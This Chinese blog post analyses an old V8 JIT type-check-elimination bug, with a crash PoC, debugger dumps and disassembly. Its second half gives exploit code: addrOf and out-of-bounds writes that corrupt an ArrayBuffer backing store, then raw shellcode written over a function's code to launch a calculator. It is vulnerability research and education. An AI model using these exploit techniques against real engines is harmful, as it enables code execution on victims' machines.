本文为本博客V8系列第二篇。
漏洞基本信息
根据漏洞基本信息可准备分析环境,先切换至漏洞修复前版本。
git checkout a7a350012c05f644f3f373fb48d7ac72f7f60542
gclient sync
对源码进行编译。
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
PoC
以下代码执行后V8引擎会直接崩溃。
function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
parseInt();
}
for(var i=0; i<2000; ++i) {
Ctor();
}
for(var i=0; i<2000; ++i) {
Check();
}
Ctor();
Check();
从PoC来看,应该是Ctor()和Check()两个函数在2000次循环执行后产生了Bug。毫无疑问,又是一个V8在对函数进行JIT优化后由于去除“冗余”类型检查而产生的问题。
漏洞成因
调试分析
使用GDB对V8进行调试,首先将PoC改写为易于调试的版本,共有5个断点,分别用GT1-5表示:
function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}
print("GT1");
%DebugPrint(Check);
%DebugPrint(Ctor);
%SystemBreak();
for(var i=0; i<2000; ++i) {
Ctor();
}
print("GT2");
%DebugPrint(Check);
%DebugPrint(Ctor);
%SystemBreak();
for(var i=0; i<2000; ++i) {
Check();
}
print("GT3");
%DebugPrint(Check);
%DebugPrint(Ctor);
%SystemBreak();
Ctor();
print("GT4");
%DebugPrint(n);
%DebugPrint(Check);
%DebugPrint(Ctor);
%SystemBreak();
Check();
print("GT5");
%DebugPrint(Check);
%DebugPrint(Ctor);
%SystemBreak();
GT1
GT1
DebugPrint: 0xb56bf52ba11: [Function]
- map = 0xc241b0840f1 [FastProperties]
- prototype = 0xb56bf5040b9
- elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0xb56bf52b4c9 <SharedFunctionInfo Check>
- name = 0xb56bf52aff9 <String[5]: Check>
- formal_parameter_count = 0
- context = 0xb56bf503951 <FixedArray[235]>
- literals = 0x1f8aa5504b21 <FixedArray[1]>
- code = 0xa6866804481 <Code: BUILTIN>
- properties = {
#length: 0x1f8aa55555d9 <AccessorInfo> (accessor constant)
#name: 0x1f8aa5555649 <AccessorInfo> (accessor constant)
#arguments: 0x1f8aa55556b9 <AccessorInfo> (accessor constant)
#caller: 0x1f8aa5555729 <AccessorInfo> (accessor constant)
#prototype: 0x1f8aa5555799 <AccessorInfo> (accessor constant)
}
...
DebugPrint: 0xb56bf52b991: [Function]
- map = 0xc241b0840f1 [FastProperties]
- prototype = 0xb56bf5040b9
- elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0xb56bf52b3f9 <SharedFunctionInfo Ctor>
- name = 0xb56bf52afd9 <String[4]: Ctor>
- formal_parameter_count = 0
- context = 0xb56bf503951 <FixedArray[235]>
- literals = 0x1f8aa5504b21 <FixedArray[1]>
- code = 0xa6866804481 <Code: BUILTIN>
- properties = {
#length: 0x1f8aa55555d9 <AccessorInfo> (accessor constant)
#name: 0x1f8aa5555649 <AccessorInfo> (accessor constant)
#arguments: 0x1f8aa55556b9 <AccessorInfo> (accessor constant)
#caller: 0x1f8aa5555729 <AccessorInfo> (accessor constant)
#prototype: 0x1f8aa5555799 <AccessorInfo> (accessor constant)
}
...
从输出可以知道,此时Check()和Ctor()方法都处于还未被优化的状态。
GT2
GT2
DebugPrint: 0xb56bf52ba11: [Function]
- map = 0xc241b0840f1 [FastProperties]
- prototype = 0xb56bf5040b9
- elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0xb56bf52b4c9 <SharedFunctionInfo Check>
- name = 0xb56bf52aff9 <String[5]: Check>
- formal_parameter_count = 0
- context = 0xb56bf503951 <FixedArray[235]>
- literals = 0x1f8aa5504b21 <FixedArray[1]>
- code = 0xa6866804481 <Code: BUILTIN>
- properties = {
#length: 0x1f8aa55555d9 <AccessorInfo> (accessor constant)
#name: 0x1f8aa5555649 <AccessorInfo> (accessor constant)
#arguments: 0x1f8aa55556b9 <AccessorInfo> (accessor constant)
#caller: 0x1f8aa5555729 <AccessorInfo> (accessor constant)
#prototype: 0x1f8aa5555799 <AccessorInfo> (accessor constant)
}
...
DebugPrint: 0xb56bf52b991: [Function]
- map = 0xc241b0840f1 [FastProperties]
- prototype = 0xb56bf5040b9
- elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0xb56bf52b3f9 <SharedFunctionInfo Ctor>
- name = 0xb56bf52afd9 <String[4]: Ctor>
- formal_parameter_count = 0
- context = 0xb56bf503951 <FixedArray[235]>
- literals = 0xb56bf52bc91 <FixedArray[1]>
- code = 0xa6866906b61 <Code: OPTIMIZED_FUNCTION>
- properties = {
#length: 0x1f8aa55555d9 <AccessorInfo> (accessor constant)
#name: 0x1f8aa5555649 <AccessorInfo> (accessor constant)
#arguments: 0x1f8aa55556b9 <AccessorInfo> (accessor constant)
#caller: 0x1f8aa5555729 <AccessorInfo> (accessor constant)
#prototype: 0x1f8aa5555799 <AccessorInfo> (accessor constant)
}
...
GT2处,Ctor已经被JIT优化,可以从其code属性中获得其优化后的机器码:
pwndbg> job 0xa6866906b61
0xa6866906b61: [Code]
kind = OPTIMIZED_FUNCTION
stack_slots = 5
compiler = crankshaft
Instructions (size = 218)
0xa6866906bc0 0 55 push rbp
0xa6866906bc1 1 4889e5 REX.W movq rbp,rsp
0xa6866906bc4 4 56 push rsi
0xa6866906bc5 5 57 push rdi
0xa6866906bc6 6 4883ec08 REX.W subq rsp,0x8
0xa6866906bca 10 488b45f8 REX.W movq rax,[rbp-0x8]
0xa6866906bce 14 488945e8 REX.W movq [rbp-0x18],rax
0xa6866906bd2 18 488bf0 REX.W movq rsi,rax
0xa6866906bd5 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0xa6866906bdc 28 7305 jnc 35 (0xa6866906be3)
0xa6866906bde 30 e8fdbcf5ff call StackCheck (0xa68668628e0) ;; code: BUILTIN
0xa6866906be3 35 49bae95b51bf560b0000 REX.W movq r10,0xb56bf515be9 ;; object: 0xb56bf515be9 <JS Function Set (SharedFunctionInfo 0x1f8aa551cb31)>
0xa6866906bed 45 4152 push r10
0xa6866906bef 47 48bae95b51bf560b0000 REX.W movq rdx,0xb56bf515be9 ;; object: 0xb56bf515be9 <JS Function Set (SharedFunctionInfo 0x1f8aa551cb31)>
0xa6866906bf9 57 48bae95b51bf560b0000 REX.W movq rdx,0xb56bf515be9 ;; object: 0xb56bf515be9 <JS Function Set (SharedFunctionInfo 0x1f8aa551cb31)>
0xa6866906c03 67 33c0 xorl rax,rax
0xa6866906c05 69 488b75e8 REX.W movq rsi,[rbp-0x18]
0xa6866906c09 73 488bfa REX.W movq rdi,rdx
0xa6866906c0c 76 e8af68f3ff call Construct (0xa686683d4c0) ;; code: BUILTIN
0xa6866906c11 81 a801 test al,0x1
0xa6866906c13 83 0f8458000000 jz 177 (0xa6866906c71)
0xa6866906c19 89 49ba0965081b240c0000 REX.W movq r10,0xc241b086509 ;; object: 0xc241b086509 <Map(FAST_HOLEY_SMI_ELEMENTS)>
0xa6866906c23 99 4c3950ff REX.W cmpq [rax-0x1],r10
0xa6866906c27 103 0f8549000000 jnz 182 (0xa6866906c76)
0xa6866906c2d 109 48bb21c052bf560b0000 REX.W movq rbx,0xb56bf52c021 ;; object: 0xb56bf52c021 PropertyCell for 0x1edd876d4761 <a Set with map 0xc241b086509>
0xa6866906c37 119 4889430f REX.W movq [rbx+0xf],rax
0xa6866906c3b 123 488d530f REX.W leaq rdx,[rbx+0xf]
0xa6866906c3f 127 48250000f8ff REX.W and rax,0xfffffffffff80000
0xa6866906c45 133 f6400802 testb [rax+0x8],0x2
0xa6866906c49 137 7415 jz 160 (0xa6866906c60)
0xa6866906c4b 139 48c7c00000f8ff REX.W movq rax,0xfff80000
0xa6866906c52 146 4823c3 REX.W andq rax,rbx
0xa6866906c55 149 f6400804 testb [rax+0x8],0x4
0xa6866906c59 153 7405 jz 160 (0xa6866906c60)
0xa6866906c5b 155 e8c0f6ffff call 0xa6866906320 ;; code: STUB, RecordWriteStub, minor: 8707
0xa6866906c60 160 48b8112350a58a1f0000 REX.W movq rax,0x1f8aa5502311 ;; object: 0x1f8aa5502311 <undefined>
0xa6866906c6a 170 488be5 REX.W movq rsp,rbp
0xa6866906c6d 173 5d pop rbp
0xa6866906c6e 174 c20800 ret 0x8
0xa6866906c71 177 e89ed3d7ff call 0xa6866684014 ;; deoptimization bailout 2
0xa6866906c76 182 e8a3d3d7ff call 0xa686668401e ;; deoptimization bailout 3
0xa6866906c7b 187 90 nop
...
GT3
GT3
DebugPrint: 0xb56bf52ba11: [Function]
- map = 0xc241b0840f1 [FastProperties]
- prototype = 0xb56bf5040b9
- elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0xb56bf52b4c9 <SharedFunctionInfo Check>
- name = 0xb56bf52aff9 <String[5]: Check>
- formal_parameter_count = 0
- context = 0xb56bf503951 <FixedArray[235]>
- literals = 0xb56bf52c819 <FixedArray[1]>
- code = 0xa6866906f21 <Code: OPTIMIZED_FUNCTION>
- properties = {
#length: 0x1f8aa55555d9 <AccessorInfo> (accessor constant)
#name: 0x1f8aa5555649 <AccessorInfo> (accessor constant)
#arguments: 0x1f8aa55556b9 <AccessorInfo> (accessor constant)
#caller: 0x1f8aa5555729 <AccessorInfo> (accessor constant)
#prototype: 0x1f8aa5555799 <AccessorInfo> (accessor constant)
}
...
DebugPrint: 0xb56bf52b991: [Function]
- map = 0xc241b0840f1 [FastProperties]
- prototype = 0xb56bf5040b9
- elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0xb56bf52b3f9 <SharedFunctionInfo Ctor>
- name = 0xb56bf52afd9 <String[4]: Ctor>
- formal_parameter_count = 0
- context = 0xb56bf503951 <FixedArray[235]>
- literals = 0xb56bf52bc91 <FixedArray[1]>
- code = 0xa6866906b61 <Code: OPTIMIZED_FUNCTION>
- properties = {
#length: 0x1f8aa55555d9 <AccessorInfo> (accessor constant)
#name: 0x1f8aa5555649 <AccessorInfo> (accessor constant)
#arguments: 0x1f8aa55556b9 <AccessorInfo> (accessor constant)
#caller: 0x1f8aa5555729 <AccessorInfo> (accessor constant)
#prototype: 0x1f8aa5555799 <AccessorInfo> (accessor constant)
}
...
GT3处,Check()也被优化为机器码:
pwndbg> job 0xa6866906f21
0xa6866906f21: [Code]
kind = OPTIMIZED_FUNCTION
stack_slots = 5
compiler = crankshaft
Instructions (size = 186)
0xa6866906f80 0 55 push rbp
0xa6866906f81 1 4889e5 REX.W movq rbp,rsp
0xa6866906f84 4 56 push rsi
0xa6866906f85 5 57 push rdi
0xa6866906f86 6 4883ec08 REX.W subq rsp,0x8
0xa6866906f8a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0xa6866906f8e 14 488945e8 REX.W movq [rbp-0x18],rax
0xa6866906f92 18 488bf0 REX.W movq rsi,rax
0xa6866906f95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0xa6866906f9c 28 7305 jnc 35 (0xa6866906fa3)
0xa6866906f9e 30 e83db9f5ff call StackCheck (0xa68668628e0) ;; code: BUILTIN
0xa6866906fa3 35 48b821c052bf560b0000 REX.W movq rax,0xb56bf52c021 ;; object: 0xb56bf52c021 PropertyCell for 0x1edd876d4761 <a Set with map 0xc241b08c391>
0xa6866906fad 45 488b400f REX.W movq rax,[rax+0xf]
0xa6866906fb1 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0xa6866906fbb 59 c4c1f96ec2 vmovq xmm0,r10
0xa6866906fc0 64 488b4007 REX.W movq rax,[rax+0x7]
0xa6866906fc4 68 488b400f REX.W movq rax,[rax+0xf]
0xa6866906fc8 72 c5fb114007 vmovsd [rax+0x7],xmm0
0xa6866906fcd 77 49ba112350a58a1f0000 REX.W movq r10,0x1f8aa5502311 ;; object: 0x1f8aa5502311 <undefined>
0xa6866906fd7 87 4152 push r10
0xa6866906fd9 89 49ba39b052bf560b0000 REX.W movq r10,0xb56bf52b039 ;; object: 0xb56bf52b039 <String[8]: AAAAAAAA>
0xa6866906fe3 99 4152 push r10
0xa6866906fe5 101 48bf51d850bf560b0000 REX.W movq rdi,0xb56bf50d851 ;; object: 0xb56bf50d851 <JS Function parseInt (SharedFunctionInfo 0x1f8aa553ce11)>
0xa6866906fef 111 488b75e8 REX.W movq rsi,[rbp-0x18]
0xa6866906ff3 115 488b7727 REX.W movq rsi,[rdi+0x27]
0xa6866906ff7 119 498b55a0 REX.W movq rdx,[r13-0x60]
0xa6866906ffb 123 b801000000 movl rax,0x1
0xa6866907000 128 bb02000000 movl rbx,0x2
0xa6866907005 133 e8f6ebefff call ArgumentsAdaptorTrampoline (0xa6866805c00) ;; code: BUILTIN
0xa686690700a 138 48b8112350a58a1f0000 REX.W movq rax,0x1f8aa5502311 ;; object: 0x1f8aa5502311 <undefined>
0xa6866907014 148 488be5 REX.W movq rsp,rbp
0xa6866907017 151 5d pop rbp
0xa6866907018 152 c20800 ret 0x8
0xa686690701b 155 90 nop
...
GT4
GT4
DebugPrint: 0x1edd876dc641: [JSSet]
- map = 0xc241b086509 [FastProperties]
- prototype = 0xb56bf515e49
- elements = 0x1f8aa5502241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - table = 0x1edd876dc661 <FixedArray[13]>
- properties = {
}
0xc241b086509: [Map]
- type: JS_SET_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: FAST_HOLEY_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x1f8aa5502311 <undefined>
- instance descriptors (own) #0: 0x1f8aa5502231 <FixedArray[0]>
- layout descriptor: 0
- transitions #1: 0xb56bf52c891 WeakCell for 0xc241b08c391 <Map(FAST_HOLEY_SMI_ELEMENTS)>
#xyz: (transition to data), attrs: [WEC] -> 0xc241b08c391 <Map(FAST_HOLEY_SMI_ELEMENTS)>
- prototype: 0xb56bf515e49 <an Object with map 0xc241b086561>
- constructor: 0xb56bf515be9 <JS Function Set (SharedFunctionInfo 0x1f8aa551cb31)>
- code cache: 0x1f8aa5502241 <FixedArray[0]>
- dependent code: 0xb56bf52c559 <FixedArray[3]>
- construction counter: 0
GT4中输出了对象n的地址。
进一步查看对象n的elements属性,其内存附近情况如下所示:
可以看到,elements此时应该是一个长度为0的Fixed Array,在其下方紧邻了一个NULL字符串的对象结构。
GT5
由于GT5在Check()执行完以后,因此会由于崩溃而无法执行到,此处需要对上文中Check()函数的汇编代码进行断点调试。根据我的调试结果,是由于其中的这段代码出现了问题:
0xa6866906fb1 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0xa6866906fbb 59 c4c1f96ec2 vmovq xmm0,r10
0xa6866906fc0 64 488b4007 REX.W movq rax,[rax+0x7]
0xa6866906fc4 68 488b400f REX.W movq rax,[rax+0xf]
0xa6866906fc8 72 c5fb114007 vmovsd [rax+0x7],xmm0
这段汇编代码对长度为0的Fixed Array直接根据偏移0xF进行0x41e04d0a5e800000(0x826852f4)数据的存储。因此会按照Fixed Array下方0x10偏移的NULL字符串的MAP属性位置存储这个数据。存储的方式为V8中处理double类型数据的方法,因此,0x41e04d0a5e800000(0x826852f4)这个数据会根据NULL String的MAP而保存在这个MAP结构的0x8偏移处,从而破坏了该结构。而下面parseInt”AAAAAAAA”又是需要使用这个结构的,因此,产生了崩溃。
注:double的存储方式为顺着目标位置上的数据指针保存到该指针指向地址的下一个WORD中。
JIT优化前后对比
于是我们也可以使用–print-code参数得到Check优化后的区别,优化前的代码如下:
--- Raw source ---
() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}
--- Code ---
source_position = 54
kind = FUNCTION
name = Check
compiler = full-codegen
Instructions (size = 220)
0x14161c9069c0 0 55 push rbp
0x14161c9069c1 1 4889e5 REX.W movq rbp,rsp
0x14161c9069c4 4 56 push rsi
0x14161c9069c5 5 57 push rdi
0x14161c9069c6 6 488b4f2f REX.W movq rcx,[rdi+0x2f]
0x14161c9069ca 10 488b490f REX.W movq rcx,[rcx+0xf]
0x14161c9069ce 14 83411b01 addl [rcx+0x1b],0x1
0x14161c9069d2 18 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x14161c9069d9 25 7305 jnc 32 (0x14161c9069e0)
0x14161c9069db 27 e800bff5ff call StackCheck (0x14161c8628e0) ;; code: BUILTIN
0x14161c9069e0 32 48b80000000002000000 REX.W movq rax,0x200000000
0x14161c9069ea 42 e8f1d9ffff call 0x14161c9043e0 ;; code: LOAD_GLOBAL_IC
0x14161c9069ef 47 50 push rax
0x14161c9069f0 48 48b8a1c36a3a94050000 REX.W movq rax,0x5943a6ac3a1 ;; object: 0x5943a6ac3a1 <Number: 2.18788e+09>
0x14161c9069fa 58 5a pop rdx
0x14161c9069fb 59 48b919b06a3a94050000 REX.W movq rcx,0x5943a6ab019 ;; object: 0x5943a6ab019 <String[3]: xyz>
0x14161c906a05 69 48bf0000000004000000 REX.W movq rdi,0x400000000
0x14161c906a0f 79 e84cb8f0ff call 0x14161c812260 ;; code: STORE_IC
0x14161c906a14 84 488b75f8 REX.W movq rsi,[rbp-0x8]
0x14161c906a18 88 48b80000000008000000 REX.W movq rax,0x800000000
0x14161c906a22 98 e8b9d9ffff call 0x14161c9043e0 ;; code: LOAD_GLOBAL_IC
0x14161c906a27 103 50 push rax
0x14161c906a28 104 49ba112328f6373d0000 REX.W movq r10,0x3d37f6282311 ;; object: 0x3d37f6282311 <undefined>
0x14161c906a32 114 4152 push r10
0x14161c906a34 116 49ba39b06a3a94050000 REX.W movq r10,0x5943a6ab039 ;; object: 0x5943a6ab039 <String[8]: AAAAAAAA>
0x14161c906a3e 126 4152 push r10
0x14161c906a40 128 48ba0000000006000000 REX.W movq rdx,0x600000000
0x14161c906a4a 138 488b7c2410 REX.W movq rdi,[rsp+0x10]
0x14161c906a4f 143 b801000000 movl rax,0x1
0x14161c906a54 148 e8e7ddffff call 0x14161c904840 ;; code: CALL_IC
0x14161c906a59 153 488b75f8 REX.W movq rsi,[rbp-0x8]
0x14161c906a5d 157 4883c408 REX.W addq rsp,0x8
0x14161c906a61 161 498b45a0 REX.W movq rax,[r13-0x60]
0x14161c906a65 165 48bb81c46a3a94050000 REX.W movq rbx,0x5943a6ac481 ;; object: 0x5943a6ac481 Cell for 6144
0x14161c906a6f 175 83430bd1 addl [rbx+0xb],0xd1
0x14161c906a73 179 791f jns 212 (0x14161c906a94)
0x14161c906a75 181 50 push rax
0x14161c906a76 182 e8e5bdf5ff call InterruptCheck (0x14161c862860) ;; code: BUILTIN
0x14161c906a7b 187 58 pop rax
0x14161c906a7c 188 48bb81c46a3a94050000 REX.W movq rbx,0x5943a6ac481 ;; object: 0x5943a6ac481 Cell for 6144
0x14161c906a86 198 49ba0000000000180000 REX.W movq r10,0x180000000000
0x14161c906a90 208 4c895307 REX.W movq [rbx+0x7],r10
0x14161c906a94 212 c9 leavel
0x14161c906a95 213 c20800 ret 0x8
--- Optimized code ---
optimization_id = 1
source_position = 54
kind = OPTIMIZED_FUNCTION
name = Check
stack_slots = 5
compiler = crankshaft
Instructions (size = 186)
0x14161c906c40 0 55 push rbp
0x14161c906c41 1 4889e5 REX.W movq rbp,rsp
0x14161c906c44 4 56 push rsi
0x14161c906c45 5 57 push rdi
0x14161c906c46 6 4883ec08 REX.W subq rsp,0x8
0x14161c906c4a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x14161c906c4e 14 488945e8 REX.W movq [rbp-0x18],rax
0x14161c906c52 18 488bf0 REX.W movq rsi,rax
0x14161c906c55 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x14161c906c5c 28 7305 jnc 35 (0x14161c906c63)
0x14161c906c5e 30 e87dbcf5ff call StackCheck (0x14161c8628e0) ;; code: BUILTIN
0x14161c906c63 35 48b879bd6a3a94050000 REX.W movq rax,0x5943a6abd79 ;; object: 0x5943a6abd79 PropertyCell for 0x20753df547c1 <a Set with map 0x316d38a8c391>
0x14161c906c6d 45 488b400f REX.W movq rax,[rax+0xf]
0x14161c906c71 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x14161c906c7b 59 c4c1f96ec2 vmovq xmm0,r10
0x14161c906c80 64 488b4007 REX.W movq rax,[rax+0x7]
0x14161c906c84 68 488b400f REX.W movq rax,[rax+0xf]
0x14161c906c88 72 c5fb114007 vmovsd [rax+0x7],xmm0
0x14161c906c8d 77 49ba112328f6373d0000 REX.W movq r10,0x3d37f6282311 ;; object: 0x3d37f6282311 <undefined>
0x14161c906c97 87 4152 push r10
0x14161c906c99 89 49ba39b06a3a94050000 REX.W movq r10,0x5943a6ab039 ;; object: 0x5943a6ab039 <String[8]: AAAAAAAA>
0x14161c906ca3 99 4152 push r10
0x14161c906ca5 101 48bf51d8683a94050000 REX.W movq rdi,0x5943a68d851 ;; object: 0x5943a68d851 <JS Function parseInt (SharedFunctionInfo 0x3d37f62bce11)>
0x14161c906caf 111 488b75e8 REX.W movq rsi,[rbp-0x18]
0x14161c906cb3 115 488b7727 REX.W movq rsi,[rdi+0x27]
0x14161c906cb7 119 498b55a0 REX.W movq rdx,[r13-0x60]
0x14161c906cbb 123 b801000000 movl rax,0x1
0x14161c906cc0 128 bb02000000 movl rbx,0x2
0x14161c906cc5 133 e836efefff call ArgumentsAdaptorTrampoline (0x14161c805c00) ;; code: BUILTIN
0x14161c906cca 138 48b8112328f6373d0000 REX.W movq rax,0x3d37f6282311 ;; object: 0x3d37f6282311 <undefined>
0x14161c906cd4 148 488be5 REX.W movq rsp,rbp
0x14161c906cd7 151 5d pop rbp
0x14161c906cd8 152 c20800 ret 0x8
0x14161c906cdb 155 90 nop
可以看出,优化后代码中去除了很类型检查,对数据n对象属性的存取仅仅依靠偏移进行。从优化后的代码可以看出,其中出现了0x7、0xF这样的“整八减一”式的偏移,由于V8中对象都需要末位BIT置1,因此这些偏移就是在对Object内的属性直接进行数据操作。
结论
从上文针对PoC进行调试的结果来看,本漏洞成因为Check函数在JIT优化后直接使用偏移进行属性的存取,因此n.xyz的赋值代码会直接对着下方紧邻的NULL String的MAP进行,从而破坏内存中的相关MAP数据结构。
漏洞利用
利用上文总结的漏洞成因,我们可以为n对象多设置一些属性,使它们瞄准下方更多的数据位置,并且可以对这些属性灵活地赋予各类型的值,从而更加灵活地修改目标内存周围的值。
基本思路
V8通常的利用思路基本就是想办法改变一个ArrayBuffer的BackingStore属性从而获得内存任意读写的能力,过程中需要实现的主要的两个原语分别为:
- addrOf(obj):泄露目标对象obj的内存地址。
- fakeObj(addr):在addr地址处创建一个假对象。
由这两个原语最终完成对BackingStore的修改后,我们可获得任意地址读写的能力,随后修改一个函数的部分汇编代码即可使其执行我们的shellcode。
addrOf是肯定需要的,fakeObj则不一定。本次漏洞由于已经达到了越界读写的能力,因此可以利用addrOf原语和漏洞越界读写能力的配合进行exploit。
首先设定三组Ctor和Check函数来进行本次漏洞利用:
- Check1主要负责利用NULL String来输出泄露n.xyz3上的object地址,从而实现addrOf原语。
- Check2主要负责修改m.xyz3偏移处的数据内容,使用double数字指针的方式。
- Check3主要负责修改l.xyz1偏移处的数据内容,也使用double数字指针的方式。
function Ctor() {
n = new Set();
}
function Ctor2() {
m = new Map();
}
function Ctor3() {
l = new ArrayBuffer();
}
function Check1(obj){
// oob write empty_Fixed_Array, write object to null_str buffer
n.xyz = 3.4766863919152113e-308; // do not modify string map
n.xyz1 = 0x0; // do not modify the value
n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
n.xyz3 = obj; // leak the Object addr
}
function Check2(addr){
// Oob write empty_Fixed_Array, str buffer value will be treat as a number pointer
m.xyz = 3.4766863919152113e-308; // do not modify string map
m.xyz1 = 0x0 // do not modify the value
m.xyz2 = 0x7000 // enlarge length of builtIn string 'null'
m.xyz3 = addr
}
function Check3(addr){
// Oob write empty_Fixed_Array, str length will be treat as a number pointer
l.xyz = 3.4766863919152113e-308; // do not modify string map
l.xyz1 = addr
}
那么这些属性都对准了哪些位置呢?如下图所示:
Check1(ab)
从下图可以清晰看出,这里先把xyz2位置的长度从原本“null”的4改成了0x7000,一个超级大的数字!然后把ab的地址保存在xyz3处。
由于xyz3处其实是string(null)的value位置,因此,一开始用var str = new String(null)
就可以监视这个value的内存。直接print(str)
就可以把保存在上面ab ArrayBuffer(0x200)的地址给输出出来。由于null字符串长度为4,所以需要一开始把它位于xyz2的length属性改大一点,这样输出的时候就能输出一大堆内存数据,包含了ab的地址。
于是也就能推断出ab这个arraybuffer的backing store的地址,由于backingstore在length属性的后面,并且上面说过浮点数是保存在指针指向word的下个word的,所以就需要一个指向arraybuffer的length属性的指针。因此,通过ab的地址就可以+24得到ab_len_ptr了。
Check1(ab);
var str = new String(null);
%DebugPrint(ab);
var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+ab_addr.toString(16));
var ab_len_ptr = ab_addr+24;
ab_len_ptr_float = d2u(ab_len_ptr/0x100000000,ab_len_ptr&0xffffffff);
Check1(evil_f)
我们由于最终的目的是在获得任意内存读写能力后修改一个函数的汇编代码,从而使得执行这个函数就等于执行我们的shellcode。因此这个函数我们就声明一个evil_f函数。
var evil_f = new Function("var a = 1000000");
和上一步完全相同,把evil_f函数的数据结构地址保存在xyz3处,这时候再次输出str,就可以得到evil_f的地址。为什么要evil_f这个函数结构的地址呢?因为这个数据结构里第8个word是code属性,这个code不是job命令得到的code数据结构地址,而是实实在在的汇编代码地址。在2016年前后的V8中,function结构里是不保存code数据结构地址的,code属性中保存的都是真实汇编代码的地址,job中有一些美化处理便于我们理解所以才显示code数据结构(这个情况在最新版中有所变动)。有了这个函数的汇编代码地址,我们就可以把shellcode保存在这个内存里面,这样执行这个函数就是执行这个shellcode。
注:这个evil_f函数的数据结构地址设为function_addr,而shellcode目标的地址设为shellcode_addr,这是需要区分的。
Check(evil_f);
%DebugPrint(evil_f);
var func_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+func_addr.toString(16));
func_addr = func_addr - 1;
func_addr_float = d2u(func_addr/0x100000000,func_addr&0xffffffff);
Check1(string(null))与Check2(ab_len_ptr_float)
上面说我们需要往当前这些xyz、xyz1、xyz2、xyz3之类的属性里保存一个ab_len_ptr的地址作为保存浮点数要用的指针。可是我们直接往这些属性里写数字的话只能直接写整形数,而整形数肯定是达不到浮点数的大小要求的!那么问题就又回到了写入一个浮点数的关键点上面,我们需要在当前的xyz、xyz1、xyz2、xyz3等属性里再写一个指向这个string数据结构的指针。那么怎么得到?直接check一个string(null),这样xyz3上就保存了一个null string自己的地址0x2250啊!这样对着xyz3的这个指针,我们的浮点数就会保存在0x2258上,这也就是xyz1的位置!
所以这里就check(string(null))把xyz3保存一个0x2251。
这步的目的可能有点难想通,可以先接着看下去理清全部的流程,然后回头来可能更好想。
接下来Check2就是上面的这个套路的配合。利用xyz3的0x2251把ab_len_ptr_float保存到xyz1的位置上。如图所示:
如此一来,通过与上步Check1(string(null))的配合,我们成功在xyz1位置写入了一个浮点数,这个浮点数数值其实就是ab的length属性地址。
Check(String(null));
print("GT3");
%DebugPrint(ab_len_ptr_float);
print(ab_len_ptr_float);
Check2(ab_len_ptr_float);
print("GT4");
%DebugPrint(func_addr_float);
print(func_addr_float);
Check3(function_addr)
利用xyz1上的地址ab_len_ptr,我们成功把浮点数保存在了这个指针的下一个word,ab arraybuffer的backing store属性中。之前的经验就已经知道,arraybuffer就是跟着这个backing store属性来操作数据的。这下,直接操作arraybuffer就是在往function_addr的地址上操作数据了。
于是这时候ab arraybuffer里保存的就是evil_f函数数据结构的内容。ab的第八个word,也就是f64[7]上面存的就是shellcode_ptr!于是这里其实就是AAR原语。
Check3(func_addr_float);
Check3(shellcode_addr)
于是和刚才一样,继续用xyz1上的ab_len_ptr再一次把ab的backingstore给换成了shellcode_addr,于是现在ab arraybuffer里保存的就是evil_f函数的实际汇编代码了!
f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];
print("0x"+(u2d(shellcode_addr_float)).toString(16));
Check3(shellcode_addr_float);
接下来直接把shellcode存入ab arraybuffer就是改写了这个函数!
var shellcode = new Uint32Array(ab);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;
执行shellcode
直接执行evil_f即可。
evil_f();
最终效果
执行该exploit后可以成功执行shellcode并弹出计算器:
完整EXP
var ab = new ArrayBuffer(0x200);
var n;
var m;
